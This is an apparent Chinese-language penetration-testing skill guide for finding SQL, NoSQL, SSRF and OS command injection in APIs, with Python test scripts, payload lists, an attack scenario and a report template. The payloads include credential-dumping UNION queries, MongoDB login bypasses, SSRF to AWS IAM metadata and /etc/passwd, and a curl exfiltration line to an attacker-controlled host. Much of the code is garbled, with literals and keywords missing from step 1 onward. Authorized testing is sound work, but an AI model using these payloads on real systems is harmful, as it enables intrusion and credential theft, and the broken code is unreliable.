exploiting-api-injection-vulnerabilities

name	exploiting-api-injection-vulnerabilities
description	通过 API 参数、请求头和请求体，测试 API 的注入漏洞，包括 SQL 注入、NoSQL 注入、操作系统命令注入、LDAP 注入和服务端请求伪造（SSRF）。测试人员针对不同的后端技术和注入上下文构造恶意载荷，以提取数据、执行命令或访问内部服务。对应 OWASP API8:2023 安全错误配置和 API7:2023 SSRF。适用于 API 注入测试、API 中的 SQL 注入、NoSQL 注入、SSRF 测试或 API 输入验证评估等请求场景。
domain	cybersecurity
subdomain	api-security
tags	["api-security","owasp","injection","sqli","nosql","ssrf","command-injection"]
version	1.0.0
author	mahipal
license	Apache-2.0

利用 API 注入漏洞

适用场景

• 测试接受用户输入用于数据库查询、系统命令或外部请求的 API 端点
• 评估与 SQL 数据库、NoSQL 存储（MongoDB、Redis）、LDAP 目录或外部 URL 交互的 API
• 评估所有 API 端点的输入验证和参数化查询使用情况
• 测试 API 参数接受触发服务器端请求的 URL 或主机名时的 SSRF 漏洞
• 识别请求头、路径参数、查询字符串以及 JSON/XML 请求体中的注入点

不适用于：未获得书面授权的情况。注入测试可能修改或破坏数据并危害后端系统。

前置条件

• 书面授权，注明目标 API 和范围内的后端系统
• Python 3.10+，安装 requests 库
• SQLMap，用于自动化 SQL 注入检测和利用
• Burp Suite Professional，具备主动扫描能力
• 了解后端数据库技术（MySQL、PostgreSQL、MongoDB、Redis）
• 隔离的测试环境，避免生产数据损坏

工作流程

步骤 1：注入点识别

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# 映射 API 中所有输入点
injection_points = [
    # 路径参数
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # 查询参数
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": },
    
    {: , : , : , : [, ]},
    {: , : , : , : [, ]},
    {: , : , : , : [, ]},
    {: , : , : , : [, ]},
    
    {: , : , : , : [, , ]},
]

步骤 2：SQL 注入测试

# 不同上下文的 SQL 注入载荷
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """测试参数是否存在 SQL 注入。"""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=)
             param_type == :
                resp = requests.post(,
                                   headers=headers,
                                   json={param_name: payload}, timeout=)
             param_type == :
                url = 
                resp = requests.get(url, headers=headers, timeout=)

            elapsed = time.time() - start

            
            indicators = {
                : (kw  resp.text.lower()  kw  [
                    , , , ,
                    , , ,
                    , , 
                ]),
                : elapsed >     payload.upper(),
                : resp.status_code ==   (resp.text) > 
                                 payload.upper()
                               resp.text != requests.get(,
                                  headers=headers, params={param_name: }).text,
            }

             (indicators.values()):
                triggered = [k  k, v  indicators.items()  v]
                results.append({
                    : endpoint,
                    : param_name,
                    : category,
                    : payload,
                    : triggered,
                    : resp.status_code,
                    : 
                })
                ()

     results


test_sql_injection(, , )
test_sql_injection(, , )
test_sql_injection(, , )

步骤 3：NoSQL 注入测试

# NoSQL 注入载荷（以 MongoDB 为主）
NOSQL_PAYLOADS = {
    "auth_bypass": [
        # JSON 请求体中的 MongoDB 操作符注入
        {"username": {"$ne": ""}, "password": {"$ne": ""}},
        {"username": {"$gt": ""}, "password": {"$gt": ""}},
        {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
        {"username": "admin", "password": {"$ne": "wrongpassword"}},
        {"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$ne": ""}},
    ],
    "data_extraction": [
        {"username": {"$regex": "^a"}, "password": {"$ne": ""}},  # 枚举第一个字符
        {"username": {"$where": "this.username.length > 0"}, "password": {"$ne": ""}},
    ],
    "operator_injection_string": [
        # 当输入为字符串字段时
        '{"$gt": ""}',
        '{"$ne": null}',
        ,
        ,
    ],
}

 ():
    
    results = []

    
     category, payloads  NOSQL_PAYLOADS.items():
         payload  payloads:
             (payload, ):
                resp = requests.post(,
                                   headers=headers, json=payload, timeout=)
            :
                
                resp = requests.post(,
                                   headers=headers,
                                   json={: json.loads(payload), : },
                                   timeout=)

             resp.status_code == :
                resp_data = resp.json()  resp.text  {}
                   (resp_data)    (resp_data):
                    results.append({
                        : endpoint,
                        : category,
                        : (payload)[:],
                        : ,
                        : (resp_data)[:]
                    })
                    ()

     results

nosql_results = test_nosql_injection()

步骤 4：服务端请求伪造（SSRF）测试

# 针对内部服务的 SSRF 载荷
SSRF_PAYLOADS = {
    "cloud_metadata": [
        "http://169.254.169.254/latest/meta-data/",                           # AWS IMDS
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",  # AWS IAM 凭据
        "http://metadata.google.internal/computeMetadata/v1/",                # GCP
        "http://169.254.169.254/metadata/instance?api-version=2021-02-01",    # Azure
    ],
    "internal_services": [
        "http://localhost:8080/",
        "http://127.0.0.1:6379/",           # Redis
        "http://127.0.0.1:9200/",           # Elasticsearch
        "http://127.0.0.1:27017/",          # MongoDB
        "http://internal-api.local:8080/",
        "http://10.0.0.1/admin/",
    ],
    "protocol_smuggling": [
        "gopher://127.0.0.1:6379/_SET%20pwned%20true",
        "file:///etc/passwd",
        "dict://127.0.0.1:6379/INFO",
    ],
    "bypass_filters": [
        "http://0x7f000001/",                # 127.0.0.1 的十六进制 IP
        "http://2130706433/",                # 127.0.0.1 的十进制 IP
        "http://0177.0.0.1/",               # 八进制
        "http://127.0.0.1.nip.io/",         # DNS 重绑定
        "http://[::1]/",                     # IPv6 本地地址
        "http://127.1/",                     # 缩写 IP
        "http://0/",                         # 零
    ],
}

 ():
    
    results = []

     category, payloads  SSRF_PAYLOADS.items():
         payload  payloads:
            :
                 method == :
                    resp = requests.post(,
                                       headers=headers,
                                       json={url_param: payload}, timeout=)
                :
                    resp = requests.get(,
                                      headers=headers,
                                      params={url_param: payload}, timeout=)

                
                 resp.status_code ==   (resp.text) > :
                    
                     (kw  resp.text  kw  [, ,
                                                       , ,
                                                       , ]):
                        results.append({
                            : endpoint,
                            : category,
                            : payload,
                            : ,
                            : resp.text[:]
                        })
                        ()
                    :
                        results.append({
                            : endpoint,
                            : category,
                            : payload,
                            : ,
                            : resp.text[:]
                        })
                        ()
             requests.exceptions.RequestException:
                

     results


ssrf_results = test_ssrf(, )
ssrf_results.extend(test_ssrf(, ))
ssrf_results.extend(test_ssrf(, , ))

步骤 5：操作系统命令注入测试

# 命令注入载荷
CMD_PAYLOADS = {
    "detection": [
        "; sleep 5",
        "| sleep 5",
        "` sleep 5 `",
        "$( sleep 5 )",
        "\n sleep 5",
        "& ping -c 5 127.0.0.1 &",
    ],
    "data_exfil": [
        "; cat /etc/passwd",
        "| id",
        "`whoami`",
        "$(uname -a)",
        "; curl http://attacker-controlled-server.com/$(whoami)",
    ],
    "windows": [
        "& ping -n 5 127.0.0.1 &",
        "| dir",
        "; type C:\\Windows\\System32\\drivers\\etc\\hosts",
        "& timeout /t 5 &",
    ],
}

def test_command_injection(endpoint, param_name, param_type="body"):
    """测试操作系统命令注入。"""
    results = []

    for category, payloads in CMD_PAYLOADS.items():
        for payload in payloads:
            start = time.time()
            prefixed_payload = f"validvalue{payload}"

            if param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: prefixed_payload}, timeout=15)
            else:
                resp = requests.get(f"{BASE_URL}{endpoint}",
                                  headers=headers,
                                  params={param_name: prefixed_payload}, timeout=)

            elapsed = time.time() - start

            indicators = {
                : elapsed >     payload.lower(),
                : (kw  resp.text  kw  [
                    , , , , ,
                    , 
                ]),
            }

             (indicators.values()):
                results.append({
                    : endpoint,
                    : param_name,
                    : category,
                    : payload,
                    : [k  k, v  indicators.items()  v],
                })
                ()

     results


test_command_injection(, )
test_command_injection(, )
test_command_injection(, , )

核心概念

术语	定义
SQL 注入（SQL Injection）	将 SQL 代码插入被拼接到数据库查询中的 API 参数，实现数据提取或修改
NoSQL 注入（NoSQL Injection）	将 NoSQL 操作符（$ne、$gt、$regex）注入 MongoDB 查询，或通过 API 参数操纵 Redis/Elasticsearch 查询
SSRF	服务端请求伪造（OWASP API7:2023）- 强迫服务器向攻击者指定的目标（包括内部服务）发出 HTTP 请求
命令注入（Command Injection）	通过传递给 Shell 执行函数（exec、system、popen）的 API 参数注入操作系统命令
参数化查询（Parameterized Queries）	使用带绑定参数的预编译语句，通过将代码与数据分离来防止 SQL 注入
输入验证（Input Validation）	在处理前，服务器端验证用户输入是否符合预期格式、类型、长度和字符集

工具与系统

• SQLMap：自动化 SQL 注入检测和利用工具，支持所有主要数据库类型
• Burp Suite Professional：主动扫描器，可检测 SQL、NoSQL、SSRF 和命令注入
• NoSQLMap：自动化 NoSQL 注入检测和利用工具，专注于 MongoDB
• SSRFmap：SSRF 检测和利用框架，带有云元数据提取模块
• Commix：自动化操作系统命令注入检测和利用工具

常见场景

场景：电商 API 注入评估

场景背景：某电商 API 使用 PostgreSQL 存储商品目录，MongoDB 存储用户会话，并接受 webhook URL 用于订单通知。API 使用 Node.js/Express 构建。

方法：

1. 使用 SQL 载荷测试商品搜索端点 GET /api/v1/products?search=test - 发现基于错误的 SQL 注入，泄露 PostgreSQL 14 后端信息
2. 利用联合查询 SQL 注入提取所有表名，然后从 users 表转储用户凭据
3. 使用 NoSQL 操作符测试登录端点 - {"username":{"$ne":""},"password":{"$ne":""}} 绕过认证
4. 测试 webhook URL 端点的 SSRF - POST /api/v1/webhooks {"url":"http://169.254.169.254/latest/meta-data/"} 返回 AWS 实例元数据
5. 通过 SSRF 提取 AWS IAM 角色凭据，获取包含客户数据的 S3 存储桶访问权限
6. 测试文件导出端点的命令注入 - GET /api/v1/export?filename=report;cat /etc/passwd 返回 passwd 文件内容

常见陷阱：

• 当后端使用多种数据存储（SQL、NoSQL、Redis、Elasticsearch）时，只测试 SQL 注入
• 忽略 HTTP 请求头中的注入点（User-Agent、Referer、X-Forwarded-For），这些头可能被记录到 SQL 数据库
• 当初始载荷被 URL 验证阻止时，不测试 SSRF 绕过技术
• 假设 JSON API 请求体不受 SQL 注入影响（JSON 值仍然会被拼接到查询中）
• 当错误消息被抑制时，不测试基于时间的注入

输出格式

## 发现：商品搜索 API 中的 SQL 注入允许完全数据库访问

**ID**: API-INJ-001
**严重性**: 严重（CVSS 9.8）
**OWASP API**: API8:2023 - 安全错误配置 / 注入
**受影响端点**:
  - GET /api/v1/products?search= (SQL 注入)
  - POST /api/v1/auth/login (NoSQL 注入)
  - POST /api/v1/webhooks (SSRF)

**描述**:
商品搜索 API 在未使用参数化的情况下，将用户输入直接拼接到
PostgreSQL 查询中。攻击者可以提取所有数据库内容，包括用户凭据、
支付信息和管理员密钥。此外，登录端点存在 MongoDB NoSQL 操作符
注入漏洞，webhook 端点允许 SSRF 访问内部服务和云元数据。

**影响**:
- 通过 SQL 注入实现完全数据库读写访问
- 通过 NoSQL 操作符注入绕过认证
- 通过 SSRF 访问实例元数据窃取 AWS IAM 凭据
- 通过 SQL 注入堆叠查询实现潜在远程代码执行

**修复建议**:
1. 对所有数据库操作使用参数化查询
2. 验证并清理 JSON 输入中的 NoSQL 操作符字符
3. 对 webhook 和回调 URL 实施 URL 白名单
4. 从应用服务器封锁对云元数据端点（169.254.169.254）的访问
5. 使用带参数化查询的 ORM，禁用原始查询方法
6. 实施 WAF 规则用于常见注入模式的纵深防御